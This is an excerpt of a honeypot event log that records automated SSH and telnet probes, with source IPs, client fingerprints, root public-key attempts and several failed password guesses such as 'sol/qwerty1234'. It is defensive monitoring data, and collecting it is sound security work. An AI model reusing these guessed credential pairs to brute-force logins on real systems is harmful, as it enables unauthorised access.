16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T00:51:44.378190Z","src_ip":"193.32.162.145","session":"068e2f77abda","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"solv","password":"qwerty123","message":"login attempt [solv/qwerty123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T00:51:44.683984Z","src_ip":"193.32.162.145","session":"068e2f77abda","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T00:51:45.788957Z","src_ip":"193.32.162.145","session":"068e2f77abda","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"180.235.129.180","src_port":59022,"dst_ip":"10.17.0.5","dst_port":23,"session":"26235bc3cb4b","protocol":"telnet","message":"New connection: 180.235.129.180:59022 (10.17.0.5:23) [session: 26235bc3cb4b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T00:53:50.097730Z"}
{"eventid":"cowrie.session.connect","src_ip":"193.32.162.145","src_port":55614,"dst_ip":"159.203.135.109","dst_port":22,"session":"27fc69bf670d","protocol":"ssh","message":"New connection: 193.32.162.145:55614 (159.203.135.109:22) [session: 27fc69bf670d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T00:53:51.988131Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T00:53:51.992398Z","src_ip":"193.32.162.145","session":"27fc69bf670d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T00:53:52.091652Z","src_ip":"193.32.162.145","session":"27fc69bf670d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"sol","password":"qwerty1234","message":"login attempt [sol/qwerty1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T00:53:52.393641Z","src_ip":"193.32.162.145","session":"27fc69bf670d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T00:53:53.496276Z","src_ip":"193.32.162.145","session":"27fc69bf670d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":6.434228181838989,"message":"Connection lost after 6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T00:53:56.531870Z","src_ip":"180.235.129.180","session":"26235bc3cb4b","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"95.168.164.241","src_port":44226,"dst_ip":"10.17.0.5","dst_port":22,"session":"de511ab671e7","protocol":"ssh","message":"New connection: 95.168.164.241:44226 (10.17.0.5:22) [session: de511ab671e7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T00:54:08.430616Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T00:54:08.435300Z","src_ip":"95.168.164.241","session":"de511ab671e7","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T00:54:08.519426Z","src_ip":"95.168.164.241","session":"de511ab671e7","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"0a:a6:1d:2f:92:f5:27:7c:47:dd:78:ac:34:48:15:7c","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDCeh2DDuka+3Gu29hV/vSxI3oLAQIjsFOC4BIbapPQiAGrHo2Lj3+ryGl7d4CXi74fTdoyzfEzzlRyEUnFuwxgumL0b2e/+2BjCYLkjKyxdLCuFHuNiTDYyH/jM5wMjiSCfscs5AMZnmZPQgPdn2KiK1hTe7GkI/A9SbZ2Macg5lwPDMPPuqyE5S7ivMetff1j4XgPvAxO64hhaqi+NFul2rRfrh+RaW02g/hqaTBQxz5W0tKVrM7lMaiHetLgQpSBuH9zMVPK9WcoSvzn+8ucc8i+5p+kqZQMMOnz3hBk8K4DScl4pT4W9rd5VaFGz1xuTlN2i2EkOCjzq6QTFRUn","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 0a:a6:1d:2f:92:f5:27:7c:47:dd:78:ac:34:48:15:7c","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T00:54:08.909393Z","src_ip":"95.168.164.241","session":"de511ab671e7","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"0a:a6:1d:2f:92:f5:27:7c:47:dd:78:ac:34:48:15:7c","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDCeh2DDuka+3Gu29hV/vSxI3oLAQIjsFOC4BIbapPQiAGrHo2Lj3+ryGl7d4CXi74fTdoyzfEzzlRyEUnFuwxgumL0b2e/+2BjCYLkjKyxdLCuFHuNiTDYyH/jM5wMjiSCfscs5AMZnmZPQgPdn2KiK1hTe7GkI/A9SbZ2Macg5lwPDMPPuqyE5S7ivMetff1j4XgPvAxO64hhaqi+NFul2rRfrh+RaW02g/hqaTBQxz5W0tKVrM7lMaiHetLgQpSBuH9zMVPK9WcoSvzn+8ucc8i+5p+kqZQMMOnz3hBk8K4DScl4pT4W9rd5VaFGz1xuTlN2i2EkOCjzq6QTFRUn","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T00:54:08.914136Z","src_ip":"95.168.164.241","session":"de511ab671e7","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"1d:38:9e:ca:42:cf:78:7f:38:0f:1c:c2:95:89:06:51","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC+odVkpSHiQ7dkpFuK2nQGsedmvIS0y9O+c326swtq8EF/d8lYg61HKaP8DjC7ZqP9w22O2zlQBcNxomYVV+F2urryCT5ZtBg+J3bBS9Og1sboMmSTQLl5eIZXtS6k25ok4tBBxdkprB/dyK1u089nW8pPfNt5EMYmO1CB/HBbZ9TLnjRTBn1AebqA3FOhxnIZ8RBkiQ23xjGtcnRZf8/prVX1nTfPA6ohvldXcgdZOIpNukt8Yq6RtzMloUJpgRwUay1QUd/FbU3jJX2BxihHvTmgS/MhfRuLPgWWR/7+RYMFmSTrsFX6cxYI+u7HYjK8qWWGiyh6jY3e+DnMVK27","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 1d:38:9e:ca:42:cf:78:7f:38:0f:1c:c2:95:89:06:51","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T00:54:08.998430Z","src_ip":"95.168.164.241","session":"de511ab671e7","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"1d:38:9e:ca:42:cf:78:7f:38:0f:1c:c2:95:89:06:51","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC+odVkpSHiQ7dkpFuK2nQGsedmvIS0y9O+c326swtq8EF/d8lYg61HKaP8DjC7ZqP9w22O2zlQBcNxomYVV+F2urryCT5ZtBg+J3bBS9Og1sboMmSTQLl5eIZXtS6k25ok4tBBxdkprB/dyK1u089nW8pPfNt5EMYmO1CB/HBbZ9TLnjRTBn1AebqA3FOhxnIZ8RBkiQ23xjGtcnRZf8/prVX1nTfPA6ohvldXcgdZOIpNukt8Yq6RtzMloUJpgRwUay1QUd/FbU3jJX2BxihHvTmgS/MhfRuLPgWWR/7+RYMFmSTrsFX6cxYI+u7HYjK8qWWGiyh6jY3e+DnMVK27","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T00:54:09.006353Z","src_ip":"95.168.164.241","session":"de511ab671e7","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"cf:37:04:aa:d0:c6:73:44:66:8b:71:84:50:37:e2:36","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQC5fcQnus6rUt09mQRAGXAy8/cMjfgnyEuJnDY+TWR/ncnmwpc7cOtuSx35yPnmzBjDMJ7h5gCw452J8bN8L+laucahtg7vQ5p0jrntVkQWNveoIknj0chbt2cK9SKouZgtLJ0nBRSpwJ9PCasr1ri6mdeGvhK4e1BGQeMMEwdPzghvxcd5+T/3SpOY8YnT/2qDVrjMkoDEZLslZQWHu7NoHv8g+Vdd02uvyPnp+dJjhs5Cu2YGxUcq2P16TX1xQbsLqs+pYw1dP/HAjA+0htYhcVhHiBOzcbzT3VylMQ0Lw7sRAbYRDNToY0/cVXaNe3jkPjUo5+HlY7ekweO7gTvy3bZU1uP05nMOTZOhYOShH6zU17F35Hh/R/H0QPgz7IWAvRNMmsr37xa3pf1iDAEVgIdIJo9/ciRmGT/6/dLwfcNKkezFb3zETkeFrhUQ66zfacijmvf/1biFXEf6y13MnElUCpA2dxUw1Muk5/l0Zkf4L7eWScZ26n6D+aKnBPNQKeCPsKN/J5rZJT2Hf7NYWVw4VRbMFlzL+bBLuEZQqPYc7NBzRKMJqd6z2gkWs6lAUWC04cLzFZ/LZctLkonqGV6T6/Z0T3Yb4dt1uLNmIq9T4qilWIfX6VG5D+XpMtQBOMiK7V77yZkPCTCLnA4dlrzgUttmkstSqUfEhmjLKw==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint cf:37:04:aa:d0:c6:73:44:66:8b:71:84:50:37:e2:36","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T00:54:09.090408Z","src_ip":"95.168.164.241","session":"de511ab671e7","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"cf:37:04:aa:d0:c6:73:44:66:8b:71:84:50:37:e2:36","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQC5fcQnus6rUt09mQRAGXAy8/cMjfgnyEuJnDY+TWR/ncnmwpc7cOtuSx35yPnmzBjDMJ7h5gCw452J8bN8L+laucahtg7vQ5p0jrntVkQWNveoIknj0chbt2cK9SKouZgtLJ0nBRSpwJ9PCasr1ri6mdeGvhK4e1BGQeMMEwdPzghvxcd5+T/3SpOY8YnT/2qDVrjMkoDEZLslZQWHu7NoHv8g+Vdd02uvyPnp+dJjhs5Cu2YGxUcq2P16TX1xQbsLqs+pYw1dP/HAjA+0htYhcVhHiBOzcbzT3VylMQ0Lw7sRAbYRDNToY0/cVXaNe3jkPjUo5+HlY7ekweO7gTvy3bZU1uP05nMOTZOhYOShH6zU17F35Hh/R/H0QPgz7IWAvRNMmsr37xa3pf1iDAEVgIdIJo9/ciRmGT/6/dLwfcNKkezFb3zETkeFrhUQ66zfacijmvf/1biFXEf6y13MnElUCpA2dxUw1Muk5/l0Zkf4L7eWScZ26n6D+aKnBPNQKeCPsKN/J5rZJT2Hf7NYWVw4VRbMFlzL+bBLuEZQqPYc7NBzRKMJqd6z2gkWs6lAUWC04cLzFZ/LZctLkonqGV6T6/Z0T3Yb4dt1uLNmIq9T4qilWIfX6VG5D+XpMtQBOMiK7V77yZkPCTCLnA4dlrzgUttmkstSqUfEhmjLKw==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T00:54:09.093723Z","src_ip":"95.168.164.241","session":"de511ab671e7","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"cb:97:d2:59:93:f0:1a:60:18:28:3a:e0:c7:bb:92:63","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQDntQ/QYL4hhh6fAnwHWmfFCG4oShA/8ftetosQnpSp9Rvm/r1afPsSNcj4lLrLWqLxDD8BAXR8aYw2GdDgmLj7gtiR/hJhKRD3ZsCDWiL4Orc2tFAO42BmVz6jcWvpRWG33ggyByNNHxzZYQZ3g+2PEF6csE25NuwF3OmeOwadddQWMJ9/7RVDW7AauUxEqOTGGUoeESw5ONkyKnppIOB6z01/lcceJBVmoaO+VpphvkyZrA91qgMCPgZcP3tbo9oHnvVMN1Zg0gjk/f7FZbdECso4+zDHWILNb9eWDzKnuxOLrlx56uDdiwH2ivRim+nVV2b2MaxTgB1L8Pv5CeDWLX01z7aFfUqBhemPyLXTTrrNjL/JkTrmDDVUdBrzx42z4kEWfdBF60/X/fWOc0lLEQWwJHYGilzhdcZDbomf5HIsZuDQQtufqjNzrXeZFE3XvhXz3cRk30P7rv4mYLgQtki4GaHocpHmgF9bwGYaKrVsVbQ/4OFgiVt+67KAKhoI9jQuTFWlyHZauTM5nT2bYiC5ys7CQfM4VXZFVOTIfCeG9cnO/cBtIyhMKre9qKU9KAMriv/yGOBRhqeXCcz5pWL5+ZY9ph3P7YxiuFuacAG40AuMTJJKhgv66aBVXqHhdeQisGI7j5S/mb19uzZ4yjRVSYmLe5SjOmszNvQ1+w==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint cb:97:d2:59:93:f0:1a:60:18:28:3a:e0:c7:bb:92:63","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T00:54:09.176066Z","src_ip":"95.168.164.241","session":"de511ab671e7","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"cb:97:d2:59:93:f0:1a:60:18:28:3a:e0:c7:bb:92:63","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQDntQ/QYL4hhh6fAnwHWmfFCG4oShA/8ftetosQnpSp9Rvm/r1afPsSNcj4lLrLWqLxDD8BAXR8aYw2GdDgmLj7gtiR/hJhKRD3ZsCDWiL4Orc2tFAO42BmVz6jcWvpRWG33ggyByNNHxzZYQZ3g+2PEF6csE25NuwF3OmeOwadddQWMJ9/7RVDW7AauUxEqOTGGUoeESw5ONkyKnppIOB6z01/lcceJBVmoaO+VpphvkyZrA91qgMCPgZcP3tbo9oHnvVMN1Zg0gjk/f7FZbdECso4+zDHWILNb9eWDzKnuxOLrlx56uDdiwH2ivRim+nVV2b2MaxTgB1L8Pv5CeDWLX01z7aFfUqBhemPyLXTTrrNjL/JkTrmDDVUdBrzx42z4kEWfdBF60/X/fWOc0lLEQWwJHYGilzhdcZDbomf5HIsZuDQQtufqjNzrXeZFE3XvhXz3cRk30P7rv4mYLgQtki4GaHocpHmgF9bwGYaKrVsVbQ/4OFgiVt+67KAKhoI9jQuTFWlyHZauTM5nT2bYiC5ys7CQfM4VXZFVOTIfCeG9cnO/cBtIyhMKre9qKU9KAMriv/yGOBRhqeXCcz5pWL5+ZY9ph3P7YxiuFuacAG40AuMTJJKhgv66aBVXqHhdeQisGI7j5S/mb19uzZ4yjRVSYmLe5SjOmszNvQ1+w==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T00:54:09.179415Z","src_ip":"95.168.164.241","session":"de511ab671e7","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"7f:94:b2:78:ec:3b:6d:8e:4f:95:f8:57:76:25:a5:62","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQDQLYNe6BwZnvbzhCI4tjc+bjWaDYtcmtSPp1yuz8vDpDWf8f9G9yC//WNmw3+DXeH9Lmjq04xU3ehiCwjjDoGqi5YeY3UMaz8s81A8tZ72lw4zxLIRmJ+/POCCaEd6V/0z4KcCesxnyoYCbgGqxrH8/nsWQ1o0TxQuO959yoraby1WXSLXQir1Wb8WTyl0GcEQ0P00SgvvsTXe53TgVVzsWn5fusAtdiCUk3q9YQ7hkDib1A465frFD8onvlSqE31CB0b4E3bbbVNHDbMT/k1FxvkW3JppqTGBDQpsuj5jeMPjyeyPZOkMKN+T5e/LPeaTE2DekKfOgb/BxazSJciBuitcSOOb09V8ai6oFTK1NyD7Y/g+/HkVdevQK9nHS2M5HOGjtC3uSTikrmQ/K8zQ2ESgnsvjViT7uGbBt3aM9V/oyiv1MUOG9+mm/If6/nfg31l872YSzU19qQlOc45SCjZ7XT5xiy1wP7DT+fZgUgIdtwLnhr8+12Sy0BraOKjtgs9fas+iDO/1XM9yOC86/DTatZ/oFF2lDwYQObQcagE982cdA0UxtSiTcteTa9MXyque8cL13YfHhZ2T6dPj3ycXl1RPiaJuw4EZOS+b2tXkqZuOMEGEGJGTDeC/m82mWu91Y4ZTAOGOkYX7fMiU/V/XoOHCKDKCu9l94CmSlQ==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 7f:94:b2:78:ec:3b:6d:8e:4f:95:f8:57:76:25:a5:62","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T00:54:09.261261Z","src_ip":"95.168.164.241","session":"de511ab671e7","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"7f:94:b2:78:ec:3b:6d:8e:4f:95:f8:57:76:25:a5:62","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQDQLYNe6BwZnvbzhCI4tjc+bjWaDYtcmtSPp1yuz8vDpDWf8f9G9yC//WNmw3+DXeH9Lmjq04xU3ehiCwjjDoGqi5YeY3UMaz8s81A8tZ72lw4zxLIRmJ+/POCCaEd6V/0z4KcCesxnyoYCbgGqxrH8/nsWQ1o0TxQuO959yoraby1WXSLXQir1Wb8WTyl0GcEQ0P00SgvvsTXe53TgVVzsWn5fusAtdiCUk3q9YQ7hkDib1A465frFD8onvlSqE31CB0b4E3bbbVNHDbMT/k1FxvkW3JppqTGBDQpsuj5jeMPjyeyPZOkMKN+T5e/LPeaTE2DekKfOgb/BxazSJciBuitcSOOb09V8ai6oFTK1NyD7Y/g+/HkVdevQK9nHS2M5HOGjtC3uSTikrmQ/K8zQ2ESgnsvjViT7uGbBt3aM9V/oyiv1MUOG9+mm/If6/nfg31l872YSzU19qQlOc45SCjZ7XT5xiy1wP7DT+fZgUgIdtwLnhr8+12Sy0BraOKjtgs9fas+iDO/1XM9yOC86/DTatZ/oFF2lDwYQObQcagE982cdA0UxtSiTcteTa9MXyque8cL13YfHhZ2T6dPj3ycXl1RPiaJuw4EZOS+b2tXkqZuOMEGEGJGTDeC/m82mWu91Y4ZTAOGOkYX7fMiU/V/XoOHCKDKCu9l94CmSlQ==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T00:54:09.264690Z","src_ip":"95.168.164.241","session":"de511ab671e7","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.9","message":"Connection lost after 0.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T00:54:09.346518Z","src_ip":"95.168.164.241","session":"de511ab671e7","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"193.32.162.145","src_port":41398,"dst_ip":"159.203.135.109","dst_port":22,"session":"c99315abb4dd","protocol":"ssh","message":"New connection: 193.32.162.145:41398 (159.203.135.109:22) [session: c99315abb4dd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T00:55:59.621055Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T00:55:59.626832Z","src_ip":"193.32.162.145","session":"c99315abb4dd","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T00:55:59.730716Z","src_ip":"193.32.162.145","session":"c99315abb4dd","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"sol","password":"ssolana","message":"login attempt [sol/ssolana] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T00:56:00.035137Z","src_ip":"193.32.162.145","session":"c99315abb4dd","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T00:56:01.140290Z","src_ip":"193.32.162.145","session":"c99315abb4dd","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"193.32.162.145","src_port":55410,"dst_ip":"159.203.135.109","dst_port":22,"session":"14021baa6217","protocol":"ssh","message":"New connection: 193.32.162.145:55410 (159.203.135.109:22) [session: 14021baa6217]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T00:58:02.166660Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T00:58:02.185420Z","src_ip":"193.32.162.145","session":"14021baa6217","protocol":"ssh"}
